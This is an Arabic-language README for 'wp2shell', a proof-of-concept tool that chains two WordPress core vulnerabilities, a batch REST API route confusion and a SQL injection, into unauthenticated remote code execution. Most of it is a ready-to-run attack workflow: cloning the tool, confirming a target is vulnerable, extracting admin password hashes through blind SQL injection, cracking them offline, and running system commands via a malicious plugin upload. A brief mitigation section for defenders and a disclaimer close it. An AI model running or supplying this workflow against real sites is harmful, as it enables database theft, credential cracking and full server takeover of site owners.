wp2shell بواسطة: ek0ms savi0r

POC لتنفيذ كود عن بُعد غير مصادق عليه في نواة ووردبريس (CVE-2026-63030 + CVE-2026-60137)

wp2shell هو استغلال لسلسلة ثغرات حرجة في نواة ووردبريس. يجمع بين خطأ الخلط في مسار دفعات REST API وحقن SQL في WP_Query لتحقيق تنفيذ كود عن بُعد غير مصادق عليه على تثبيتات ووردبريس المعرضة للخطر.

كيف يعمل

يستغل هذا الاستغلال خطأين في نواة ووردبريس:

1. CVE-2026-60137 — حقن SQL – عندما يتم تمرير author__not_in كسلسلة نصية بدلاً من مصفوفة، تتجاوز ووردبريس حارس التعقيم is_array() وتُدرج القيمة الخام في جملة SQL بصيغة NOT IN (...).

2. CVE-2026-63030 — الخلط في مسار الدفعات – تنشئ نقطة النهاية /wp-json/batch/v1 مصفوفتين متوازيتين $matches و$validation. يُضاف طلب فرعي غير صالح إلى $validation وليس إلى $matches، مما يسبب إزاحة مؤشر بمقدار +1. يتم إرسال الطلب الفرعي i مع معالج الطلب الفرعي i+1.

عند الدمج معًا: يتجاوز طلب POST /wp/v2/posts الذي يحمل طلبًا داخليًا GET /wp/v2/users مع سلسلة author_exclude كلاً من قائمة الأساليب المسموح بها وتعقيم المدخلات. تصل السلسلة إلى WP_Query كـauthor__not_in وتُدرج في SQL — مما يمنحك حقن SQL أعمى غير مصادق عليه.

من هناك، يمكن للأداة:

• استخراج تجزئة كلمة مرور المسؤول
• المصادقة كمسؤول (بمجرد كسر التجزئة)
• رفع إضافة خبيثة
• تنفيذ أوامر نظام عشوائية

الميزات

التثبيت

git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

هذا كل شيء. لا حاجة لأي حزم خارجية.

الاستخدام

./wp2shell.py <url> [command] [options]

الوضع التفاعلي (قائم على القوائم)

./wp2shell.py http://target.com

يشغّل قائمة تفاعلية تتوفر فيها جميع الوظائف عبر خيارات مرقّمة.

الأوامر

check — تأكيد الثغرة (آمن)

ينفّذ اختبار تأخير زمني لتأكيد قابلية الاستغلال. لا يقرأ أي بيانات ولا يغيّر شيئًا.

./wp2shell.py http://target.com check

read — استخراج البيانات (حقن SQL أعمى)

يستخرج معلومات من قاعدة البيانات باستخدام حقن SQL أعمى قائم على الزمن.

# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read

# Extract user logins and password hashes
./wp2shell.py http://target.com read --users

# Extract database name
./wp2shell.py http://target.com read --database

# Extract MySQL version
./wp2shell.py http://target.com read --version

# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — تنفيذ الكود عن بُعد

يتطلب بيانات اعتماد مسؤول صالحة. يمكن لحقن SQL استعادة تجزئة كلمة المرور، ولكن يجب عليك توفير كلمة المرور النصية المستعادة.

# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

الخيارات

مثال على سير العمل

# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

الإصدارات المتأثرة

الإصدارات قبل 6.9.0 ليست متأثرة بسلسلة RCE الكاملة.

الاكتشاف والتخفيف

للمدافعين:

• قم بالتحديث إلى 6.9.5 أو 7.0.2 أو أحدث فورًا
• عملاء Cloudflare WAF محميون تلقائيًا
• عملاء Wordfence لديهم قواعد جدار حماية
• راقب طلبات POST /wp-json/batch/v1 ذات أجسام requests متداخلة
• لا يعني ظهور 404 على مسار الدفعات دائمًا «تم التصحيح» — فقد يعني أيضًا أن WAF/CDN يحجب وصول REST API المجهول

إخلاء مسؤولية قانوني

هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمان المصرح بها فقط.

الاعتمادات

• الاكتشاف: Adam Kues (Assetnote / Searchlight Cyber)
• CVE-2026-60137 (حقن SQL): TF1T, dtro, haongo
• CVE-2026-63030 (الخلط في مسار الدفعات): Adam Kues

لمزيد من التفاصيل حول الثغرة، راجع مدونة أبحاث Searchlight Cyber.